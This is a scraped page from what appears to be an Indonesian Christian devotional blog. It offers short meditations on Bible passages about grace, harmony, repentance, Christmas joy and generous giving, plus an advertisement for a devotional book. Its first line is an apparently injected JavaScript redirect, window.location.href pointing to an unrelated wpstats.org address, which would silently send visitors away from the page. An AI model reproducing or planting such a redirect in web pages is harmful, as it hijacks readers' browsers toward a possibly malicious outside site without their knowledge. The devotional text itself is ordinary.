window.location.href = "http://www.wpstats.org/blog";
March 2015
M T W T F S S
« Dec    
 1
2345678
9101112131415
16171819202122
23242526272829
3031  

ARSIP

PENULIS

100 RESEP BERKAT

100 resep berkat

Miliki Segera Renungan Seputar Berita Kasih Tuhan

Hubungi:
Ibu Ribka Linida

Telp. 0231 – 230197
Fax. 0231 – 210062
HP. 0812 2156792

KASIH KARUNIA DAN KESETIAAN ALLAH

2 Timotius 4:5-8

 

“Tetapi karena kasih karunia Allah aku adalah sebagaimana aku ada sekarang, dan kasih karunia yang dianugerahkan-Nya kepadaku tidak sia-sia. Sebaliknya, aku telah bekerja lebih keras dari pada mereka semua; tetapi bukannya aku, melainkan kasih karunia Allah yang menyertai aku.”

(1 Korintus 15:10)

 

Sangatlah manusiawi, ketika kita diperhadapkan pada hal atau kenyataan yang tidak menyenangkan, juga berita yang menyakitkan, kita menjadi galau, cemas, gelisah, bahkan menjadi marah uring-uringan. Namun, menjadi tidak manusiawi lagi, jika kita membiarkan diri kita terus menerus kalah dikuasai dan dibelenggu oleh perasaan sakit, galau, cemas dan marah, sehingga kita kehilangan kesempatan untuk berkarya, untuk mengekspresikan kualitas, talenta diri yang telah dianugerahkan Tuhan kepada kita. Harus ada upaya, sikap dan keyakinan yang mencerahkan diri, sehingga kita tidak lari dari kenyataan yg kita hadapi. Sebaliknya kita siap untuk melangkah, bertindak tepat menghadapi, memenangi dan menyenangi kenyataan-kenyataan yang tidak menyenangkan dan tidak menguntungkan itu.

Jangan lupa, sebelum kenyataan pahit tersebut diperhadapkan pada kita, Allah telah terlebih dahulu menyediakan kasih karunia-Nya untuk memperlengkapi kita pada situasi tersebut. Kasih karunia Allah ini jugalah yang dilimpahkan kepada Paulus untuk memperlengkapinya dan mempersiapkan dirinya saat ia harus menghadapi banyak persoalan dan tantangan. Akhirnya, kasih karunia-Nya menjadikan seorang Paulus tidak pernah ragu, undur dari pelayanan, bahkan semakin giat berkerja dan berhasil mengakhiri pergumulannya dengan sorak kemenangan. (2 Timotius 4:7). Bukankah seharusnya demikian pula dengan kita? Semoga!

 

Seperti Paulus, kita siap mendengar, menerima dan menuruti perkataan Tuhan Yesus meski kita harus mengorbankan kesempatan dan keuntungan duniawi bagi diri kita.

 

KERUKUNAN

Yesaya 11:6-8

Filipi 2:2-3


“Serigala akan tinggal bersama domba dan macan tutul akan berbaring di samping kambing. Anak lembu dan anak singa akan makan rumput bersama-sama, dan seorang anak kecil akan menggiringnya.”

(Yesaya 11:6)

 

Ketika manusia yang terdiri dari berbagai-bagai suku bahasa dan bangsa bisa hidup saling toleransi, menghormati, menghargai dan bekerja sama dengan harmonis maka dunia di mana kita tinggal menjadi sangat indah dan menyenangkan. Demikian juga halnya di dalam gereja Tuhan apabila seluruh warga jemaat yang berbeda-beda suku, status sosial, pendidikan, latar belakang dan mau hidup rukun dan harmonis maka hal itu menjadi sangat elok dan menyenangkan hati Bapa di sorga. Bukan saja hidup harmonis menyenangkan Tuhan, tetapi juga menyenangkan semua orang yang melihatnya. Hanya satu oknum yang tidak senang kalau anak-anak Tuhan/umat Tuhan hidup dengan rukun dan harmonis yaitu si iblis. Dia berusaha merusak dan menghancurkan kehidupan yang harmonis. Alam semesta yang harmonis, keluarga harmonis, gereja yang harmonis (umat yang rukun dan damai) akan berusaha untuk dipecah belah dan dihancurkan oleh si jahat, yaitu iblis. Jadi marilah kita menjadi anak-anak Tuhan yang cinta damai dan suka hidup rukun/tidak suka ribut dan bertengkar.

Allah semesta alam sebagai Bapa di sorga juga menyatakan hal yang sama bahwa kalau manusia di bumi ini hidup bersatu (bekerja sama) maka semua yang diinginkannya pasti bisa terkabul. (Sam)

 

Untuk menciptakan kerukunan kita perlu memiliki kerendahan hati, toleransi yang tinggi, saling menghargai dan jiwa yang besar (dalam arti suka mengalah dan saling mendahulukan satu dengan yang lain).

BUKALAH PINTU HATI UNTUK YESUS

Wahyu 3:14-22


“Lihat, Aku berdiri di muka pintu dan mengetok; jikalau ada orang yang mendengar suara-Ku dan membukakan pintu, Aku akan masuk mendapatkannya dan Aku makan bersama-sama dengan dia, dan ia bersama-sama dengan Aku.”

(Wahyu 3:20)

 

Yesus berdiri di muka pintu dan mengetuk, berarti Yesus ada di luar pintu. Kita perlu memiliki kepekaan untuk mendengar suaraNya dan membuka pintu bagiNya. Ketika kita membuka pintu hati kita, maka Yesus akan masuk dan kita akan menikmati kelimpahan bersamaNya. Banyak orang yang sudah mengenal Tuhan, tetapi tidak pernah mengalami berkat yang limpah karena mereka tidak mau membuka pintu hati mereka untuk Tuhan Yesus. Orang yang mau membuka pintu hati untuk Yesus berarti ia memiliki kerelaan untuk bertobat. “Barangsiapa Kukasihi, ia Kutegor dan Kuhajar; sebab itu relakanlah hatimu dan bertobatlah!” (Wahyu 3:19). Tanpa pertobatan kita tidak mungkin dapat hidup bersama Yesus.

Ada orang yang kaya raya memiliki harta yang berlimpah, mungkin ia bisa tidur di atas tumpukan dolar. Namun apalah arti semuanya itu kalau hidupnya tidak merasa bahagia? Lain halnya dengan orang yang hidup sesuai dengan FirmanNya, ia pasti dapat menikmati kebahagiaan. Zakheus adalah pemungut cukai yang kaya raya, sebelum menerima Yesus dalam hidupnya ia belum mengerti kebenaran Firman Tuhan. Namun setelah dia mengenal Yesus, Zakheus diubahkan menjadi pribadi yang berkenan di hadapan Tuhan sehingga Tuhan Yesus berkata kepada Zakheus: “Hari ini telah terjadi keselamatan kepada rumah ini, karena orang ini pun anak Abraham.” (Lukas 19:9). Zakheus telah membuka pintu rumahnya bahkan ia membuka pintu hatinya untuk menerima Yesus sehingga ia menerima berkat dan keselamatan. Dalam kehidupan kita tentu kita memiliki banyak kebutuhan, bukalah pintu hati kita untuk Tuhan, pasti Ia memenuhi semua kebutuhan kita. (JW)

 

Orang yang mau membuka pintu hati untuk Tuhan perlu selalu hidup dalam pertobatan.

UMAT PILIHAN ALLAH

Yesaya 49:8-13

Mazmur 40:2-4


“Ia mengangkat aku dari lobang kebinasaan, dari lumpur rawa; Ia menempatkan kakiku di atas bukit batu, menetapkan langkahku.”

(Mazmur 40:3)

 

Sebelum menjadi jemaat Allah, kita adalah orang-orang yang terkurung oleh dosa, tidak memiliki pengharapan. Nabi Yesaya telah menubuatkan pribadi Yesus yang akan membebaskan orang-orang yang tertawan secara rohani dari dosa (Yesaya 61:1). Itulah eklesia, yaitu kita memberikan diri untuk dilepaskan dan dipanggil keluar dari dosa. Dulu kita hidup di luar Tuhan, tetapi dengan kedatangan Yesus, Dia memanggil kita sehingga menjadi orang-orang terpilih dan melepaskan kita keluar dari kegelapan kepada terangNya yang ajaib (1 Petrus 2:9). Status kita sebagai jemaat Allah diperlukan agar kita menghargai pengorbanan Kristus. Kita sangat menanti-nantikan Tuhan dan Ia menjenguk, turun ke dunia untuk mengangkat kita dari lubang kebinasaan. Ia mengeluarkan setiap orang yang berseru kepadaNya dari kegelapan dan meletakkan kaki kita di atas gunung batu.

Firman Tuhan dalam 1 Korintus 1:2, menasehatkan agar kita hidup kudus, apa pun yang kita lakukan. Kita dipanggil sebagai orang-orang kudus dan dituntut menjadi anak-anak yang taat sehingga menyenangkan hati Tuhan. Dalam 1 Korintus 1:5, Allah memiliki tujuan agar kita menjadi kaya secara rohani. Tidak akan ada artinya kita memiliki kekayaan duniawi, tetapi menuju kebinasaan. Iblis adalah pencuri yang datang untuk mencuri, membunuh, membinasakan rohani kita tetapi Yesus datang untuk memberikan hidup dalam segala kelimpahan (Yohanes 10:10). Sebagai umat pilihan Allah kita harus menghargai keselamatan yang Tuhan berikan dan selalu hidup kudus. (TD)

 

Berkat kehidupan dan berkat-berkat lainnya diberikan jika kita mau hidup sebagai jemaat Allah yang kudus dalam segala perbuatan kita.

TUHAN MEMBERI SUKACITA

Lukas 2:8-15


“Lalu kata malaikat itu kepada mereka: “Jangan takut, sebab sesungguhnya aku memberitakan kepadamu kesukaan besar untuk seluruh bangsa.”

(Lukas 2:10)

 

Dunia di akhir zaman ini dilanda dengan berbagai ketakutan, seringkali kita mendengar berita tentang kesulitan ekonomi, tentang kekeringan, tentang kelaparan dan sebagainya tetapi Firman Tuhan berkata: “Jangan takut…!”. Anak-anak Tuhan pun harus dapat membawa berita yang baik yaitu berita kesukaan besar yang Tuhan berikan.

Musa mengutus 12 orang untuk mengintai Tanah Kanaan. Sesudah 40 hari pulanglah mereka dari pengintaian negeri itu dan langsung datang menghadap Musa. “Juga mereka menyampaikan kepada orang Israel kabar busuk tentang negeri yang diintai mereka, dengan berkata: “Negeri yang telah kami lalui untuk diintai adalah suatu negeri yang memakan penduduknya, dan semua orang yang kami lihat di sana adalah orang-orang yang tinggi-tinggi perawakannya.” (Bilangan 13:32). Dari antara mereka hanya Yosua dan Kaleb yang membawa berita positif, mereka memberitakan tentang berita sukacita. Engkau tidak perlu takut sebab Tuhan yang berjalan di depanmu, Dialah yang akan berperang untukmu (Ulangan 1:30). Banyak orang yang menghadapi persoalan seakan-akan menghadapi raksasa yang besar, tetapi kita harus mengimani Firman Tuhan sehingga kita tidak kuatir sekalipun menghadapi keadaan dunia yang semakin tidak menentu ini. Kalau ada di antara kita yang tidak memiliki sukacita, mintalah sukacita dari Tuhan. Nehemia mengatakan bahwa kesukaan dari Tuhan itulah kekuatanku. Demikian juga Petrus setelah ia dipenuhkan Roh Kudus, ia memiliki sukacita yang tidak terkatakan. (1 Petrus 1:8). (JEA)

 

Sekalipun situasi dunia tidak menentu, tetapi kita tidak usah takut karena Tuhan selalu menyertai kita.

TERANG BAGI ORANG BENAR

1 Tesalonika 4:13-18

 “Terang sudah terbit bagi orang benar, dan sukacita bagi orang-orang yang tulus hati.”

(Mazmur 97:11)

 

Yesus menggambarkan kedatangan-Nya dalam dunia, seperti terang yang datang ke dalam kegelapan. Gambaran ini memiliki dua pengertian: Yesus adalah Terang, karena kasihNya, Yesus datang untuk menerangi manusia yang berjalan dalam kegelapan. Yesus tidak menghendaki manusia binasa dalam kegelapan dan terjerumus ke dalam jurang kebinasaan. Yesus ingin semua manusia diselamatkan. (Kisah 26:18). Tetapi Yesus yang adalah terang itu akan menjadi hukuman bagi mereka yang hidup dalam kegelapan dan mencintai kegelapan. (Efesus 5:11-13). Perhatikan: Yohanes 3:16, “Karena begitu besar kasih Allah akan dunia ini, sehingga Ia telah mengaruniakan Anak-Nya yang tunggal, supaya setiap orang yang percaya kepada-Nya tidak binasa, melainkan beroleh hidup yang kekal.” Kalau diteliti, ayat ini menjelaskan tentang dua tujuan kedatangan Yesus. Kedatangan Yesus yang pertama, yaitu Natal adalah untuk menyelamatkan manusia dari kebinasaan (neraka). Tetapi, secara tidak langsung ayat ini juga menjelaskan kebinasaan yang akan dialami oleh orang yang menolak Yesus pada kedatangan Yesus yang kedua kali, (masyarakat awam menyebut pada hari kiamat). Bagi orang yang percaya kepada Yesus, hari kedatangan Yesus kedua kali (kiamat), bukanlah hari yang menakutkan, sebaliknya hari yang membahagiakan, sebab pada hari itu, orang percaya kepada Yesus yang sudah mati, akan dibangkitkan dengan menerima tubuh yang baru. (1 Tesalonika 4:16). Dan orang-orang percaya yang hidup sampai kedatangan Yesus kedua kali akan menerima tubuh yang baru dengan cara diubah dalam sekejap. (1 Korintus 15:51). Kemudian orang percaya yang dibangkitkan maupun yang diubahkan akan diangkat menyongsong Tuhan di angkasa. Dan kita akan senantiasa bersama-sama dengan Allah untuk selama-lamanya. (1 Tesalonika 4:17). (JSM)

 

Semua orang yang menolak ‘Terang’ atau tidak percaya kepada Tuhan Yesus akan dibinasakan dalam murka Allah.

 

MENGATASI HAL YANG TIDAK MENYENANGKAN

Matius 1:18-19


“Sebab bagi Allah tidak ada yang mustahil.”

(Lukas 1:37)

 

Ada beberapa hal dan kenyataan yang melatar belakangi peristiwa kelahiran Yesus, Juruselamat yang sangat meresahkan beberapa pihak, khususnya Yusuf dan Maria. Saking bingung, kecewa dan tidak siap atas kenyataan pahit yang dihadapinya, bahwa Maria tunangannya telah mengandung terlebih dahulu sebelum ia menikahinya, Yusuf nyaris memutuskan hubungan dan hendak lari meninggalkan Maria, tunangannya itu. Ia sangat gusar, cenderung protes dan marah meski tidak dinampakkannya (Matius 1:19).

Demikian pun Maria, saat dijumpai malaikat, utusan Allah yang membawa berita kasih karunia, anugerah keselamatan bagi semua manusia. Ia sangat ketakutan, ia hendak lari meninggalkan malaikat itu. Ia semakin cemas, bingung ketika berikutnya malaikat itu menyampaikan berita, bahwa ia akan mengandung dan akan melahirkan anak laki-laki, Yesus. Ia tidak siap, protes, bagaimana mungkin ia akan mengandung, padahal ia belum pernah mengenal laki-laki. Baginya, sebagai seorang gadis belum menikah, berita bahwa ia akan mengandung adalah berita misterius, mencemaskan, sangat menakutkan. Ini akan sangat memalukan, menodai harga diri dan martabat keluarganya (Lukas 1:26-34).

Mungkin, di sekitar Natal ini di antara kita ada yang sedang menghadapi kenyataan yang tidak menyenangkan, merugikan bahkan menyakitkan sebagaimana Yusuf dan Maria, renungkan dan tariklah pelajaran dari pengalaman mereka, yang pada akhirnya mereka dapat memenangi dan menerima kenyataan tersebut dengan bahagia. Di saat kita merasa tidak berdaya, tidak siap, galau, cemas hadapkanlah diri kita kepada Tuhan, Allah dalam nama Yesus Kristus yang menyediakan kasih karunia-Nya untuk kita.

 

Dengarlah, percayailah dan turutilah perkataan Firman-Nya: “Sebab bagi Allah tidak ada yang mustahil”

 

MENEMPUH JALAN LAIN

Matius 2:1-12


“Dan karena diperingatkan dalam mimpi, supaya jangan kembali kepada Herodes, maka pulanglah mereka ke negerinya melalui jalan lain.”

(Matius 2:12)

 

Para Majus itu terus mencari Yesus dengan satu komitmen, mereka tidak akan berhenti sebelum menemukan bayi Yesus. Terbukti ketika bintang yang menjadi penuntun mereka itu tidak nampak. Mereka tidak menjadi patah semangat, tetapi saat itu mereka bertanya-tanya kepada Raja Herodes sebagai penguasa negeri Yerusalem. (Matius 2:1). Saat kita merayakan Natal di tahun ini ada kesempatan untuk kita kembali mencari dan menyembah Yesus. “…Sebab barangsiapa berpaling kepada Allah, ia harus percaya bahwa Allah ada, dan bahwa Allah memberi upah kepada orang yang sungguh-sungguh mencari Dia.” (Ibrani 11:6).

Banyak orang yang sudah bertemu dengan Yesus, tetapi kehidupannya kembali menjadi terpuruk lagi. Mengapa? Karena mereka masih menempuh jalan yang sama setelah mereka berjumpa dengan Yesus. Kedatangan orang Majus ke Yerusalem membuat heboh karena Herodes menjadi marah dan akhirnya bertindak brutal dengan mengeluarkan titah untuk membunuh bayi-bayi yang berusia di bawah dua tahun karena perasaan cemburu dengan lahirnya Mesias. Jalan lain adalah jalan yang berbeda dari sebelumnya, yaitu jalan yang lebih baik, jalan kebenaran dan terang. Kalau sebelumnya kita menempuh jalan dengan kebencian, dendam, iri hati, maka setelah kita berjumpa dengan Yesus, kita pasti berubah dengan menempuh jalan kasih, pengampunan dan penuh kemurahan. Datang melalui jalan dukacita, pulang melalui jalan sukacita. (SHP)

 

Carilah Tuhan dengan hati yang berharap dan keyakinan yang teguh. Natal pasti mengarahkan kehidupan kita pada satu jalan lain yang lebih baik dan penuh harapan.

FIRMAN TUHAN MEMBERI PENGERTIAN

Mazmur 119:125-130

 “Bila tersingkap, firman-firman-Mu memberi terang, memberi pengertian kepada orang-orang bodoh.”

(Mazmur 119:130)

 

Semua pengetahuan di dunia ada batasnya, sehebat apapun seorang manusia menguasainya. Sementara pengetahuan tentang Allah tanpa batas, bahkan terus berlanjut saat kita masuk sorga, saat pengetahuan kita semua sempurna. Jangan sombong bila kita punya IQ tertinggi di dunia atau kejeniusan yang mengagumkan, karena itu semua hanya bersifat sementara. Pengetahuan itu pemberian Tuhan, maka kita harus memakai untuk memuliakanNya, sesuai dengan tujuan mengapa Ia memberinya kepada kita. Beginilah firman TUHAN: “Janganlah orang bijaksana bermegah karena kebijaksanaannya, janganlah orang kuat bermegah karena kekuatannya, janganlah orang kaya bermegah karena kekayaannya, tetapi siapa yang mau bermegah, baiklah bermegah karena yang berikut: bahwa ia memahami dan mengenal Aku, …” Yeremia 9:23-24

Baik dan buruknya pengetahuan tergantung kepada siapa yang memilikinya. Bila dimiliki oleh penganut Lucifer atau malaikat yang menjadi iblis, betapa buruknya pengetahuan itu. Karena Lucifer itu pembenci manusia, dan tujuan hidupnya hanya satu, menghancurkan hidup manusia. Tapi bila dimiliki oleh seorang yang mencintai Tuhan, maka pengetahuannya akan berubah menjadi tangan Tuhan yang akan menolong dan menyelamatkan banyak orang. Pengetahuan dan pengertian seperti dua sayap burung rajawali. Pengetahuan terjadi karena hasil pembelajaran sementara pengertian adalah hasil perjalanan hidup bersama Tuhan. (SIP)

 

Bersyukurlah bila kita bisa mengenal firmanNya dan rencanaNya yang ajaib, karena pengetahuan yang seperti itulah yang akan membawa kita kepada kehidupan yang berkualitas.

MEMBERI DAN MELAYANI TUHAN

2 Korintus 8:1-6


“Aku bersaksi, bahwa mereka telah memberikan menurut kemampuan mereka, bahkan melampaui kemampuan mereka.”

(2 Korintus 8:3)

 

Paulus menceritakan tentang jemaat di Makedonia yang sekalipun keadaannya penuh dengan berbagai pencobaan, namun sukacita mereka meluap. Meskipun mereka sangat miskin, mereka kaya dalam kemurahan. Menjadi anak Tuhan bukan jaminan bahwa hidup kita akan tenang dan mulus tanpa ada pencobaan, tetapi bisa dicobai dengan berat dalam berbagai penderitaan. Dalam penderitaan mereka telah memberikan menurut kemampuan mereka, bahkan melampaui kemampuan mereka. “Dengan kerelaan sendiri mereka meminta dan mendesak kepada kami, supaya mereka juga beroleh kasih karunia untuk mengambil bagian dalam pelayanan kepada orang-orang kudus.” (2 Korintus 8:4).

Rasul Paulus bangga sekali dengan jemaat Makedonia yang bukan saja bisa memberi melampaui batas kemampuan mereka, tetapi mereka juga bersedia untuk ambil bagian dalam melayani pekerjaan Tuhan. Mereka tidak dipaksa untuk memberi dan melayani, melainkan dengan kerelaan sendiri mereka meminta dan mendesak untuk mengambil bagian dalam pelayanan kepada orang-orang kudus. Mereka memberi bukan hanya hal-hal yang bersifat jasmani melainkan juga menembus batas atas hal-hal yang bersifat rohani. Simak ayat berikut ini: “Mereka memberikan lebih banyak daripada yang kami harapkan….” (2 Korintus 8:5). Mereka memberikan diri mereka sama seperti Yesus memberikan diriNya untuk menebus dosa umat manusia. Itulah yang dilakukan jemaat Makedonia, apa yang mereka bisa kerjakan, mereka kerjakan dengan sukacita sekalipun miskin keadaannya tapi mereka tetap memberi dan memberi. Mereka tidak mengenal lelah, mereka tidak kuatir. (AHM)

Tuhan sangat senang apabila kita mau memberi, melayani bahkan memberi diri kita kepada Tuhan.